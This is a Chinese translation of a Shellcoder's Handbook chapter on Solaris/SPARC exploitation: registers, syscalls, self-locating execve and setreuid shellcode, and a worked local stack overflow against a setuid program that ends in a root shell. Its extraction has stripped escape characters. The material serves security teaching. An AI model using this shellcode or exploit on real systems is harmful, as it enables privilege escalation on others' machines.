admin 管理员组

文章数量: 887021


2024年2月7日发(作者:activity的过去分词)

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

10

Solaris破解入门

很长一段时间以来,Solaris主要支持高端的Web和数据库服务。尽管Solaris有Interl发行版,但绝大多数的Solaris还是运行在SPARC平台之上。我们在本章将把精力放在SPARC上的Solaris,而它也是影响深远的操作系统之一。Solaris在以前被称为SunOS,当然这样的称呼已渐渐被大家遗忘了,现在常见的版本是2.6,7,8,和9。

当其它的操作系统倾向于在默认安装情况下只提供基本服务时,Solaris 9仍提供了大量的网络服务,例如,默认安装的Solaris 9启用近20个RPC服务。在以前,RPC服务里涌现了大量的漏洞;现在,在网络上可以获得大量的Solaris源代码,似乎预示着在RPC里可能会发现更多的漏洞。

从历史上说,几乎所有的Solaris RPC服务都出现过漏洞(sadmind,cmsd,statd,automount

通过statd,snmXdmid,dmispd,cachefsd,等等),也发现了通过inetd使用的远程错误,如telnetd,/bin/login(通过telnetd和rshd),dtspcd,lpd等。Solaris在缺省状态下有大量带setuid位的文件,因此,在正式使用Solaris前,应该对它进行仔细地加固。

当然,Solars也内置了一些安全功能,包括进程记帐、审计、和可选的non-executable栈。从管理员的立场来看,启用这个选项是值得的,因为它提供了一定程度上的保护。

10.1 SPARC体系结构介绍

Scalable Processor Architecture(SPARC)是广泛使用的硬件平台,对Solaris的支持非常好。它最初由Sun Microsystems开发,后来逐渐演变成一个开放的标准。它最早有两个版本(v7和v8),都是32位的,当然,最新的版本(v9)是64位。SPARC v9 处理器在传统的低效率运行模式中,可以运行64位及32位程序。

UltraSPARC处理器源自Sun Microsystems的SPARC v9,具有运行64位程序的能力;除此之外的CPU实际上都是来自Sun的SPARC v7或v8,仅在32位模式下运行程序。Solaris

7,8和9都支持64位内核,可以运行64位用户模式的程序;然而,大多数用户模式的程序是以32位运行的。

SPARC 处理器有32个通用寄存器,随时可以使用。其中一些有特殊用途,剩下的由编译器分配或由程序员自由处理。我们一般把32个寄存器分成四类:全局寄存器,局部寄存器,输入和输出寄存器。

实际上,SPARC体系结构是big-endian,意味着首先在内存里用最有效的字节表示整数和指针。它的指令长度是固定的,都是4字节长;所有的指令以4字节为界进行对齐,任何在不对齐的地址上执行代码,都会导致BUS错误;同样,读写任何未对齐的地址,也会导致BUS错误并引起程序崩溃。

欢迎访问,翻译@。

189

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

10.1.1 寄存器和寄存器窗口

SPARC CPU可使用的寄存器总数可以改变,但它们分成了固定数量的寄存器窗口。一个寄存器窗口是函数使用的一组寄存器。当前寄存器窗口的指针通过save和restore指令来增加或减少。典型的,函数在开始和结束时会执行这两条指令。

save指令保存当前的寄存器窗口,使系统分配一组新的寄存器,restore指令丢弃当前的寄存器窗口,恢复前面保存的数据。我们可以用save指令为局部变量保留栈空间,用restore函数释放局部栈空间。

寄存器

%g0

%g1

%g2

%g3

%g4

%g5

%g6

%g7

用途

Always zero

Temporary storage

Global variable 1

Global variable 2

Global variable 3

Reserved

Reserved

Reserved

表10.1. 全局寄存器及其用途

无论是函数调用,还是执行save或restore指令,都不会影响到全局寄存器(%g0-%g7)。第一个全局寄存器%g0永远是零。写入它的数据会被丢弃,任何以它为源寄存器的复制操作将把目标操作数设为零。除了%g0之外,剩下的7个全局寄存器也各有用途,表10.1.里有介绍。

局部寄存器(%l0-%l7)象它们名字暗示的那样,对于具体的函数来说是局部的。它们作为寄存器窗口的一部分被保存和恢复。局部寄存器没有特殊的用途,编译器可以随意使用。每个函数也都可以使用它们。

执行save时,输出寄存器(%o0-%o7)改写输入寄存器(%i0-%i7)。执行restore时,执行相反的操作,输入寄存器将改写输出寄存器。save把前一个函数的输入寄存器作为寄存器窗口的一部分加以保存。

开始的6个输入寄存器(%i0-%i5)传入函数参数。它们作为%o0至%o5传递给函数,当执行save时,它们变成%i0到%i5。当函数需要6个以上的参数时,额外的参数通过栈传递。函数的返回值存贮在%i0里,执行restore时转为%o0。

%o6寄存器和栈指针%sp是同义词,而%i6是帧指针%fp。Save象前一个函数预期那样,把栈指针作为帧指针保存,restore把保存的栈指针恢复到它原来的地方。

至今没有提及的2个通用寄存器—%o7和%i7,用于保存返回地址。执行call后,返回地址保存在%o7。当执行save时,这个值毫无疑问会被复制到%i7,它保持直到执行一个返回和restore。在这个值被复制到输入寄存器之后,%o7就变成一个普通用途的寄存器了。总结输入/输出寄存器用途的列表见表10.2.。

为了方便,在表10.3.里和10.4.里总结了save和restore的作用。

寄存器

%i0

用途

First incoming function argument, return value

190欢迎访问,翻译@。

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

%i1–%i5

%i6

%i7

%o0

%o1–%o5

%o6

%o7

Second through sixth incoming function arguments

Frame pointer (saved stack pointer)

Return address

First outgoing function argument, return value from called function

Second though sixth outgoing function arguments

Stack pointer

Contains return address immediately after call, otherwise general

purpose

表 10.2. 寄存器名称和用途

1. Local registers (%l0–%l7) are saved as part of a register window.

2. Input registers (%i0–%i7) are saved as part of a register window.

3. Output registers (%o0–%o7) become the input registers (%i0–%i7).

4. A specified amount of stack space is reserved.

表 10.3. save指令的作用

1. Input registers become output registers.

2. Original input registers are restored from a saved register window.

3. Original local registers are restored from a saved register window.

4. As a result of step one, the %sp (%o6) becomes %fp (%i6) releasing local stack

space.

表 10.4. restore指令的效果

对于leaf函数(那些不调用其它函数的函数),编译器可以生成不执行save或restroe的指令,省去这些操作带来的开销;但是系统不能改写输入或局部寄存器,必须在输出寄存器里访问参数。

任何确定的SPARC CPU都有固定数量的寄存器窗口。在它们可用的时候,用来保存保存的寄存器。当寄存器窗口用完后,最早的寄存器窗口被刷新,相关的数据压入栈。每条save指令至少在栈上保留64字节的空间,在必要时也会保存本地寄存器和输入寄存器的内容。当频繁发生上下文切换时,或者发生大量的陷阱或中断时,所有的寄存器窗口都有可能被刷新,从而把寄存器窗口中的数据压入栈。

10.1.2 延迟槽

和其它的体系结构类似,SPARC在执行branch,call,或jump时使用延迟槽。在程序执行过程中,有两个寄存器用来指定控制流; %pc是程序计数器,指向当前的指令,%npc指向将被执行的下一条指令。当执行branch或call时,目的地址被加载到%npc而不是%pc。这导致在执行流被重定向到目的地址之前,branch/call之后的指令被执行。

0x10004: CMP %o0, 0

0x10008: BE 0x20000

0x1000C: ADD %o1, 1, %o1

欢迎访问,翻译@。

191

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

0x10010: MOV 0x10, %o1

在这个例子里,如果%o0保存零,在0x10008的分支将被采用。然而,在采用这个分支前,0x1000c处的指令被执行。如果这个分支在0x10008没有被采用, 0x1000c处的指令仍被执行,执行流继续到0x10010。如果一个分支被取消,例如BE, A address,那么仅仅在采用这个分支时,才会执行延迟槽的指令。很多因素都会影响SPARC上的执行流程;然而,即使是为了写破解,也没有必要全部理解它们。

10.1.3 合成指令

SPARC里的许多指令是由其它指令合成的,或者是其它指令的别名。因为所有的指令都是4个字节,所以,它要用两条指令把32位值加载到寄存器。更有趣的是,call和ret都是合成的指令。call更准确的形式是 jmpl address, %o7。jmpl是一个连接的(linked)跳转,它把当前指令指针的值保存在目标操作数里。在call的例子里,目的操作数是寄存器%o7。ret是jmpl %i7+8, %g0,回到保存的返回地址上来。程序计数器的值被丢给%g0寄存器,而它总是为零。

Leaf 函数用另外的合成指令—retl返回。因为它们不必执行save或restore,因此,返回地址在%o7里。retl是jmpl %o7+8, %g0的别名。

10.2 Solaris/SPARC Shellcode基础

SPARC上的Solaris和其它的UNIX类似,都有明确定义的系统调用接口。传统的Solaris/SPARC和其它的平台差不多,Shellcode使用系统调用而不是调用库函数。网上有无数的Solaris/SPARC Shellcode,大多都流传了N年,如果你只想拿来用或进行简单的修改,在网上肯定可以找到合适的;然而,如果你希望自己写Shellcode,那么必须掌握本章所介绍的基础知识。

系统通过特殊的系统陷阱8开始系统调用。然而,SunOS最初是用陷阱0开始系统调用的,只是最近的Solaris版本才改成陷阱8。系统调用号通过全局寄存器%g1指定。作为正常的函数参数,少于6个的系统调用参数都是通过输出寄存器%o0到%o5传递。大多数系统调用的参数一般都少于6个,但有些函数可能需要6个以上的参数,这时,一般是通过栈来传递这些额外的参数。

10.2.1 自定位和SPARC Shellcode

许多Shellcode为了引用自身包含的字符串,需要在内存里定位自己的位置。通过作为代码的一部分――在运行时构造字符串,有可能避免这样做,但这样明显缺乏效率和可靠性。在x86上,通过jump和call/pop指令对可以轻松完成自定位。但在SPARC上,由于延迟槽的存在以及为了避免Shellcode里出现Null字节,所用的指令非常复杂。

下面的指令把Shellcode的地址载入寄存器%o7,这个方法工作得很好,在SPARC

欢迎访问,翻译@。

192

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

Shellcode里使用多年了:

1. x20xbfxffxff // bn, a shellcode – 4

2. x20xbfxffxff// bn, a shellcode

3. x7fxffxffxff // call shellcode + 4

4. rest of shellcode

这个bn,是已经废除的branch never指令。换句话说,这些分支指令从来没被采用(branch

never)。这意味着延迟槽总是被跳过。call指令是真正的连接(linked)跳转,把当前指令计数器的值存贮在%o7里。

上述指令执行的顺序是1,3,4,2,4。

这段代码导致call的地址保存在%o7里,使Shellcode可以定位它在内存里的字节串。

10.2.2 简单的SPARC exec Shellcode

大部分Shellcode的最终目的是执行命令行Shell,然后从shell里完成其它事情。下面介绍一些非常简单的Shellcode,它们在Solaris/SPARC上执行/bin/sh。

在现代Solaris机器上,exec系统调用的编号是11,它需要两个参数,第一个是指向要执行的文件名的字符指针,第二个是一个null-terminated字符指针数组,用于指定文件参数。这两个参数分别保存在%o0和%o1,系统调用编号保存在%g1。下面的Shellcode演示怎么做的。

static char scode[]= "x20xbfxffxff" // 1: bn,a scode - 4

"x20xbfxffxff" // 2: bn,a scode

"x7fxffxffxff" // 3: call scode + 4

"x90x03xe0x20" // 4: add %o7, 32, %o0

"x92x02x20x08" // 5: add %o0, 8, %o1

"xd0x22x20x08" // 6: st %o0, [%o0 + 8]

"xc0x22x60x04" // 7: st %g0, [%o1 + 4]

"xc0x2ax20x07" // 8: stb %g0, [%o0 + 7]

"x82x10x20x0b" // 9: mov 11, %g1

"x91xd0x20x08" // 10: ta 8

"/bin/sh"; // 11: shell string

下面逐行解释这段代码:

1. 这段熟悉的代码把Shellcode的地址载入%o7。

2. 定位延续的载入代码。[Location loading code continued.]

3. 重复一次。

4. 把/bin/sh的地址载入%o0;这是系统调用的第一个参数。

5. 把函数参数数组的地址载入%o1。这个地址位于/bin/sh后面8个字节处,Shellcode欢迎访问,翻译@。

193

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

6.

7.

8.

9.

10.

11.

结尾后面1个字节处,是系统调用的第二个参数。

用字符串/bin/sh初始化参数数组(argv[0])的第一个成员。

把参数数组的第二个成员设为NULL,终止数组(%g0总是NULL)。

在正确位置写一个NULL字节,确保/bin/sh字符串完全NULL终止。

把系统调用编号载入%g1(11=SYS_exec)。

通过陷阱8(ta=trap)执行系统调用。

Shell 字符串。

10.2.3 Solaris里面有用的系统调用

除execv外,Solaris里还有几个系统调用可以使用,在/usr/include/sys/syscall.h 里面可以找到完整的列表。表10.5.提供一个快速预览。

系统调用

SYS_open

SYS_exec

SYS_dup

SYS_setreiud

SYS_setregid

SYS_so_socket

SYS_bind

SYS_listen

SYS_accept

SYS_connect

编号

5

11

41

202

203

230

232

233

234

235

表10.5. 有用的系统调用和相关编号

10.2.4 NOP和填充指令

为了增加破解的可靠性和减少对精确地址的依赖性,在破解负载里使用填充指令是个不错的选择。但在大多数情况下,SPARC的NOP指令实际上没什么用处,因为它包含三个NULL字节,在大多数基于字符串的溢出里不会被复制。但是,许多指令可以代替它,并且具有同样的效果。表10.6.是一些例子。

Sparc填充指令

sub %g1, %g2, %g0

andcc %l7, %l7, %g0

or %g0, 0xfff, %g0

表10.6. NOP替代物

字节序

"x80x20x40x02"

"x80x8dxc0x17"

"x80x18x2fxff"

欢迎访问,翻译@。

194

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

10.3 Solaris/SPARC 栈帧介绍

Solaris/SPARC对栈帧的组织和其它平台类似。栈象Intel x86那样,用于保存局部变量和寄存器中的数据(见表10.7.),地址也是从大到小,依次减少。系统在栈上为32位二进制文件里的函数至少保留96个字节的空间,这些空间除了保存8个本地寄存器和8个输入寄存器外,还剩下32个字节;这32个字节用于保存返回的结构指针和参数的拷贝,以防止它们被寻址(如果指向它们的指针必须被传递给另外的函数)。对任何函数都这样组织栈帧,所以为局部变量保留的空间比为保存的寄存器保留的空间更靠近栈顶。这预防函数改写它自己保存的寄存器。

Top of stack – Higher memory addresses

Function 1

Space reserved for local variables

Size: Variable

Function 1

Space reserved for return structure

pointer and argument copies.

Size: 32 bytes

Function 1

Space reserved for saved registers

Size: 64 bytes

Bottom of stack – Lower memory addresses

表10.7. Solaris的内存管理

Solaris的栈通常用于保存(populated)结构和数组,而不象x86平台那样还保存整数和指针。在大多数情况下,整数和指针保存在通用寄存器里,除非是参数的数量超出可用的寄存器,或者要求它们必须是可寻址的,才会把它们放到栈上。

10.4 栈溢出的方法

让我们看一些流行的Solaris栈溢出方法。在某些情况下,他们和Intel IA32 的稍微有点不一样,但还是有很多共性。

10.4.1 任意的大小溢出

SPARC下允许改写任意大小的栈溢出和Intel x86的有很多相似之处。最后的目标都是改写保存在栈上的指令指针,把执行流重定向到包含Shellcode的地址。然而,因为栈的组织形式,它可能只能改写调用函数保存的寄存器。最终的效果是它采用两个函数的最小值来欢迎访问,翻译@。

195

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

获取执行控制。

如果你考虑一个假设有栈溢出的函数,这个函数的返回地址保存在%i7里。SPARC的ret指令是由 jmpl %i7+8, %g0合成的。延迟槽将典型的被restore指令填充。第一个ret/restore指令对将产生一个新值,这个值来自从保存的寄存器窗口恢复的%i7。如果这是从栈上恢复而不是从内部寄存器,已经作为溢出的一部分被改写了,那么第二个ret将导致代码执行攻击者选择的地址。

表10.8.显示了栈上保存的Solaris/SPARC寄存器窗口信息。这个信息的组织形式和调试器(比如说GDB)里输出的差不多。输入寄存器比局部寄存器更靠近栈顶。

%l0

%l4

%i0

%i4

%l1

%l5

%i1

%i5

%l2

%l6

%i2

%i6 (saved %fp)

%l3

%l7

%i3

%i7 (saved %pc)

表10.8. 栈上保存的寄存器窗口布局

10.4.2 寄存器窗口和栈溢出的复杂性

任何SPARC CPU都有固定数量的内部寄存器窗口。SPARC v9的CPU可以使用2到32个寄存器窗口。当CPU的寄存器窗口用完后,再执行save时,将产生窗口溢出陷阱,CPU将刷新寄存器窗口的内部寄存器,把相关数据压入栈;在发生上下文切换或暂停线程时,寄存器窗口肯定会被刷新,数据入栈;系统调用通常也会刷新寄存器窗口,数据入栈。

在发生溢出时,如果你试图改写的寄存器窗口不在栈上,而是在CPU的寄存器里,你的破解显然不会成功。依据返回,保存的寄存器将不会从你在栈上改写的位置恢复,而是从内部寄存器。这将使试图改写保存的%i7寄存器的攻击更加困难。

当缓冲区溢出的进程被调试时,它的行为不同于平时,因为调试器的停顿(break)将会刷新所有的寄存器窗口。如果你正在调试程序,并在溢出发生前停顿,可能会刷新寄存器窗口,从而导致其它的不再发生了。最常见的情形是,只有当GDB附上目标进程时,破解才能正常工作。这是因为没有调试器停顿时,寄存器窗口不会被刷新入栈,从而使改写没有效果。

10.4.3 其它复杂的因素

当寄存器压入栈时,%i7是最后压入的。这意味着在典型的字符串溢出里,为了改写%i7,你首先要改写其它的寄存器。在最好的情形下,为了获取程序的执行控制,将需要一个额外的返回。然而,所有的本地和输入寄存器已经被溢出破坏了。最常见的情形是,寄存器包含被破坏的指令,如果这些指令是无效的,那么在关键函数返回之前,它们将引起访问违例或段失效(segmentation fault)。为了在个案的基础上评定这个情形,以及为不同于返回地址的寄存器确定适当的值,可能必需这样。

SPARC上的帧指针必须以8字节为界对齐。如果改写一个帧指针,或者在溢出里改写多个保存的寄存器,在帧指针里对齐是基本的保护措施。在执行restore指令时,如果没有对齐帧指针,将引起BUS错误,从而导致程序崩溃。

欢迎访问,翻译@。

196

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

10.4.4 可能的解决方法

即使第一个寄存器窗口没有保存在栈上,但仍有一些方法可以执行保存的%i7的栈改写。如果攻击者可以多次尝试,将有可能尝试多次溢出,等待在合适的时刻发生上下文切换,从而导致被立刻刷新入栈。然而,这个方法不太可靠,因为并不是所有的溢出都可以重复利用。

对于靠近栈顶的函数,可以改写保存的寄存器。对任何确定的二进制文件,从一个栈帧到另一个栈帧之间的距离,通常是可以预计的和可以计算的。因此,如果第一个调用函数的寄存器窗口没有刷新入栈,或许在调用第二个或第三个函数时才会导致它被刷新入栈。然而,你企图改写的保存的寄存器越往调用树上面,为了得到控制需要更多的函数返回,防止程序由于栈恶化而崩溃将会变得更加困难。

在许多情况下,用两个返回改写第一个保存的寄存器窗口并执行代码是有可能的;然而,对破解来说,知道最坏的情况对我们有好处。

10.4.5 Off-By-One 栈溢出漏洞

在大多数情况下,SPARC上的Off-By-One漏洞是不可破解的。Off-By-One破解的原理主要是基于指针恶化。对于Intel x86上的破解,最明确的方法是改写保存的帧指针的最没意义的位,通常是栈上紧跟着局部变量的第一个地址。如果帧指针不是目标,另外的指针很有可能是。绝大部分的Off-By-One漏洞是由于NULL终止的原因,当剩余的缓冲区空间不够用时,通常导致一个NULL字节写到边界之外。

SPARC用big-endian字节序表示指针。在Off-By-One例子里,最有意义的字节将被破坏,而不是改写保存在内存里的指针的最没意义的字节。相反,稍微改动指针高位的值,将导致指针的整个值发生巨大的变化。例如,当标准栈指针0xFFBF1234最有意义的字节被改写后,可能指向0xBF1234。这个地址是无效的,除非堆非常大而扩展到那个地址。只有在可选择的情况下,这才是可行的。

除字节序问题外,Solaris/SPARC上指针恶化的目标是受限的。它不可能到达帧指针,因为它(帧指针)保存在寄存器数组深处。它很可能是唯一可能被破坏的局部变量,或第一个保存的寄存器%l0。尽管必须对Off-By-One漏洞进行评估后才能做出正确判断,但对破解来说,SPARC的Off-By-One栈溢出最多只提供了有限的可能性。

10.4.6 Shellcode 位置

必需寻找一个好的方法把执行流重定向到包含Shellcode的地址。Shellcode可以放在一些地方,每个地方都有它的优缺点。选择把shellcode放在哪里,考虑最多的因素应该是可靠性,这通常由你正在破解的目标程序体现出来。

对于破解本地setuid程序来说,有可能完全控制目标程序的环境变量和参数。假若这样,把shellcode加上大量的填充物后注入环境变量是可能的,这样的话,在可预计的栈地址可欢迎访问,翻译@。

197

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

以找到Shellcode,我们也可以非常可靠的完成破解任务。如果有可能的话,这应该是最好的选择。

在破解守护程序时,特别是远程守护程序时,在栈上寻找Shellcode并执行它仍是一个不错的选择。栈缓冲区的地址会因环境变量或程序的改变稍微有点改变,因此通常可以比较准确地预计。对可能只有一次机会的exploit来说,栈地址由于好的可预测性和较小的变化,从而成为不错的选择。

当在栈上找不到合适的缓冲区时,或栈被标为不可执行时,堆显然是第二选择。如果我们可以在shellcode周围注入大量的填充物,并把执行流程指向堆地址,它可以象栈缓冲区溢出那样可靠。然而,在大多数情况下,在堆上寻找Shellcode可能要尝试多次,要想可靠的工作,最好是用暴力猜测的方式重复尝试攻击。不可执行栈的系统不反对在堆上执行代码,所以,对破解加固后的系统来说,这是很好的选择。

在Solaris/SPARC上,返回libc的方法通常不太可靠,除非可以重复攻击,或者攻击者掌握目标系统函数库的具体知识。Solaris/SPARC有多种版本的函数库,可能多于其它的商业操作系统,如Windows;期望把libc载入特殊的基地址是不合理的,每个重要的Solaris发行版都可能有一打以上的libc版本。对本地攻击来说,返回libc的攻击因为可以仔细检查函数库,所以能可靠的完成。如果攻击者花时间为不同版本的函数库创建一个完整的函数地址的列表,返回libc的方法对于远程破解来说也许是可行的。

对于基于字符串的溢出(复制操作止于NULL字节)来说,通常不可能把执行流程重定向到主程序的可执行的数据部分。许多程序被载入基地址0x00010000,这个地址的高位包含NULL字节。在某些情况下,把Shellcode注入函数库的数据部分是可能的;如果在栈或堆上存贮Shellcode不能可靠地完成破解,可以试一下这个。

10.5 实际的栈溢出破解

适当的演示可以使Solaris/SPARC上基于栈的破解更加通俗易懂。下面使用本章提到的方法,介绍在假定的Solaris应用程序里怎样破解栈溢出。

10.5.1 脆弱的程序

为了演示怎样破解栈溢出,我们专门写了这个脆弱的程序。它不太复杂,你可能会在真实的应用程序里发现它的身影;然而,它的确是一个好的起点。脆弱的代码如下:

int vulnerable_function( char *userinput) {

}

char buf[64];

strcpy( buf, userinput );

return 1;

在这个例子里,userinput是通过命令行传递的第一个参数。注意,这个程序在退出前有两次返回,从而给了我们破解的可能性。

欢迎访问,翻译@。

198

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

当代码被编译后,从IDA Pro里可以看到和下面类似的汇编代码:

vulnerable_function:

var_50 = -0x50

arg_44 = 0x44

save %sp, -0xb0, %sp

st %i0, [%fp+arg_44]

add %fp, var_50, %o0

ld [%fp+arg_44], %o1

call _strcpy

NOP

strcpy的第一个参数是目标缓冲区,在这个例子里,它位于帧指令前80字节(0x50)处。在它后面通常能发现调用函数的栈帧,这个栈帧以保存的寄存器窗口开始。在这个窗口内,第一个绝对关键的寄存器是第十五个保存的栈指针%fp,位于寄存器窗口偏移56字节处。因此,如果正好发送一个恰好是136字节的字符串作为第一个参数,帧指针的高位字节将被破坏,导致程序崩溃。我们来验证一下。

首先,用135字节长的字符串作为第一个参数运行程序。

# gdb ./stack_overflow

GNU gdb 4.18

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you

are welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "sparc-sun-solaris2.8"...(no debugging symbols found)...

(gdb) r `perl -e "print 'A' x 135"`

Starting program: /test/./stack_overflow `perl -e "print 'A' x 135"`

(no debugging symbols found)...(no debugging symbols found)...(no

debugging symbols found)...

Program exited normally.

正如你看到的,当我们改写对程序执行影响不大的寄存器而不改动帧指针和指令指针时,程序可以正常退出并不会崩溃。

然而,当我们把第一个参数再加上一个字节时,后果就完全不同了。

(gdb) r `perl -e "print 'A' x 136"`

Starting program: /test/./stack_overflow `perl -e "print 'A' x 136"`

(no debugging symbols found)...(no debugging symbols found)...(no

debugging symbols found)...

Program received signal SIGSEGV, Segmentation fault.

欢迎访问,翻译@。

199

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

0x10704 in main ()

(gdb) x/i $pc

0x10704 : restore

(gdb) print/x $fp

$1 = 0xbffd28

(gdb) print/x $i5

$2 = 0x41414141

(gdb)

在这个例子里,被NULL字节终止的第一个参数改写了帧指针(%i6,或者%fp)的高位字节。正如你看到的,以前保存的寄存器%i5被A破坏了。紧跟在保存的帧指针后面的是保存的指令指针,改写保存的指令指针将导致执行任意代码。我们知道:字符串的大小是改写所需要的关键信息,现在开始准备编写破解代码。

10.5.2 破解代码

这个漏洞的破解相对比较简单。用足够长的第一个参数执行脆弱的程序,将触发溢出。因为这是本地破解,我们可以完全控制环境变量,对可靠地执行Shellcode来说,这是个好地方。我们唯一需要的是Shellcode在内存中的地址,我们可以编写多功能的破解代码。

这个破解代码包含一个目标结构,详细地说明了不同平台的具体信息,这些信息因OS版本而异。

struct {

char *name;

int length_until_fp;

unsigned long fp_value;

unsigned long pc_value;

int align;

} targets[] = {

{

"Solaris 9 Ultra-Sparc",

136,

0xffbf1238,

0xffbf1010,

0

}

};

为了开始改写帧指针,这个结构包含必要的长度,以及用于改写帧指针和程序计数器的值。破解代码本身简单地构造了以136个填充字节开始的字符串,后面是指定的帧指针和程序计数器值。下面的Shellcode是破解代码的一部分,与NOP填充物一起放在程序的环境变欢迎访问,翻译@。

200

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

量里。

static char setreuid_code[]= "x90x1dxc0x17" // xor %l7, %l7, %o0

"x92x1dxc0x17" // xor %l7, %l7, %o1

"x82x10x20xca" // mov 202, %g1

"x91xd0x20x08"; // ta 8

static char shellcode[]="x20xbfxffxff" // bn,a scode - 4

"x20xbfxffxff" // bn,a scode

"x7fxffxffxff" // call scode + 4

"x90x03xe0x20" // add %o7, 32, %o0

"x92x02x20x08" // add %o0, 8, %o1

"xd0x22x20x08" // st %o0, [%o0 + 8]

"xc0x22x60x04" // st %g0, [%o1 + 4]

"xc0x2ax20x07" // stb %g0, [%o0 + 7]

"x82x10x20x0b" // mov 11, %g1

"x91xd0x20x08" // ta 8

"/bin/sh";

Shellcode执行setreuid(0,0),首先把用户ID设为root,接着运行前面讨论过的execv

Shellcode。

这个攻击代码在第一次运行时,做的事情如下所示:

# gdb ./stack_exploit

GNU gdb 4.18

Copyright 1998 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you

Are welcome to change it and/or distribute copies of it under certain

conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "sparc-sun-solaris2.8"...(no debugging symbols

found)...

(gdb) r 0

Starting program: /test/./stack_exploit 0

(no debugging symbols found)...(no debugging symbols found)...(no

debugging symbols found)...

Program received signal SIGTRAP, Trace/breakpoint trap.

0xff3c29a8 in ?? ()

(gdb) c

Continuing.

Program received signal SIGILL, Illegal instruction.

0xffbf1018 in ?? ()

(gdb)

欢迎访问,翻译@。

201

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

这段破解代码看起来和我们预期的差不多。我们用破解里指定的值改写了程序计数器,函数一返回,执行就被转到那里(我们改写的地方)去了。在那时,因为在那个地址执行了非法指令,程序崩溃,但我们现在有能力把执行流程重定向到进程空间的任意地址。因此,接下来是在内存里寻找Shellcode,并把执行流程重定向到找到的地址。

我们的Shellcode应该非常好找,因为我们用大量类似NOP的指令填充它,而且,我们知道它在程序的环境变量里,所以实际上它应该在栈顶周围,因此,我们在栈顶附近寻找。

(gdb) x/128x $sp

0xffbf1238: 0x00000000 0x00000000 0x00000000 0x00000000

0xffbf1248: 0x00000000 0x00000000 0x00000000 0x00000000

0xffbf1258: 0x00000000 0x00000000 0x00000000 0x00000000

0xffbf1268: 0x00000000 0x00000000 0x00000000 0x00000000

多次按回车键之后,我们在栈上找到一些东西,看起来很象我们的Shellcode。

(gdb)

0xffbffc38: 0x2fff8018 0x2fff8018 0x2fff8018 0x2fff8018

0xffbffc48: 0x2fff8018 0x2fff8018 0x2fff8018 0x2fff8018

0xffbffc58: 0x2fff8018 0x2fff8018 0x2fff8018 0x2fff8018

0xffbffc68: 0x2fff8018 0x2fff8018 0x2fff8018 0x2fff8018

这些重复的字节是我们填充的指令,在栈上0xffbffe44处。不过,有些东西不太对劲,我们在破解代码里并没有定义像下面这样的空操作指令:

#define NOP “x80x18x2fxff”

它们在以4字节对齐的内存中的字节样式是x2fxffx80x18。因为SPARC指令总是以4字节对齐,所以我们不能简单地把改写程序计数器向边界外再调2字节。这可能会直接导致BUS故障。然而,通过向环境变量里增加两个填充字节,我们就可以正确对齐Shellcode,从而正确地把指令以4字节为界放置。随着修改的完成,破解代码指向内存中正确的位置,至此,我们应该可以执行Shell了。

struct {

char *name;

int length_until_fp;

unsigned long fp_value;

unsigned long pc_value;

int align;

} targets[] = {

{

"Solaris 9 Ultra-Sparc",

136,

欢迎访问,翻译@。

202

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

0xffbf1238,

0xffbffc38,

2

}

};

校正后的破解代码应该可以执行shell了。我们检验一下。

$ uname -a

SunOS unknown 5.9 Generic sun4u sparc SUNW,Ultra-5_10

$ ls -al stack_overflow

-rwsr-xr-x 1 root other 6800 Aug 19 20:22 stack_overflow

$ id

uid=60001(nobody) gid=60001(nobody)

$ ./stack_exploit 0

# id

uid=0(root) gid=60001(nobody)

#

这个例子特别适合用于讲解这类破解,这个例子里没有前面提到的复杂因素在捣乱。比较幸运吧,不过,大多数基于栈溢出的破解应该都不太复杂。你在/compbooks/koziol可以找到这个漏洞和破解的源代码(stack_overflow.c和stack_exploit.c)。

10.6 Solaris/SPARC上的堆溢出

在现代漏洞研究领域内,堆溢出比栈溢出可能更为普遍。一般情况下都可以可靠地破解它们;当然,可靠性肯定还是不及栈溢出。堆不象栈那样,堆上并没有明确保存与执行流有关的信息。

对堆溢出攻击来说,通常有两个方法执行代码。攻击者既可以尝试改写程序保存在堆上的特殊数据,也可以破坏堆的控制结构。不是所有的堆实现都直接在堆上保存控制结构;不过,Solaris System V 的堆实现是这样做的。

栈溢出一般分成两个步骤。第一步是实际的溢出,改写保存的程序计数器。第二步是返回,跳到内存中的任意位置。与此相反,破坏控制结构的堆溢出通常分成三个步骤。第一步当然是溢出,改写控制结构。第二步是堆实现处理被破坏的控制结构,改写任意内存。最后一步是执行一些跳转到内存中指定位置的操作,可能调用一个函数指针或者用一个改变的保存的指令指针返回。额外的措施涉及到增加一定程度的不可靠性,使堆溢出的过程更加复杂。为了可靠地破解它们,你必须不断地尝试或熟悉目标系统的具体知识。

如果程序的特殊信息保存在堆上,而且离溢出点不远,那么通常来说,改写它比改写控制结构更值得。最好的改写目标当然是函数指针了,如果能改写其中的一个,这个方法将比改写控制结构更可靠。

欢迎访问,翻译@。

203

The Shellcoder’s Handbook: Discovering and Exploiting Security Holes(十)

10.6.1 Solaris system V 堆介绍

Solaris的堆实现基于自调整的二叉树,通过块(chunk)大小排序。这导致堆的实现相当复杂,从而产生若干个破解方法。照多个其它的堆实现的样子,块的位置和大小以8字节为界对齐。如果当前块在使用中,块大小的最低位被保留;如果在内存中的前一块是空闲的,第二个最低位将被保留。

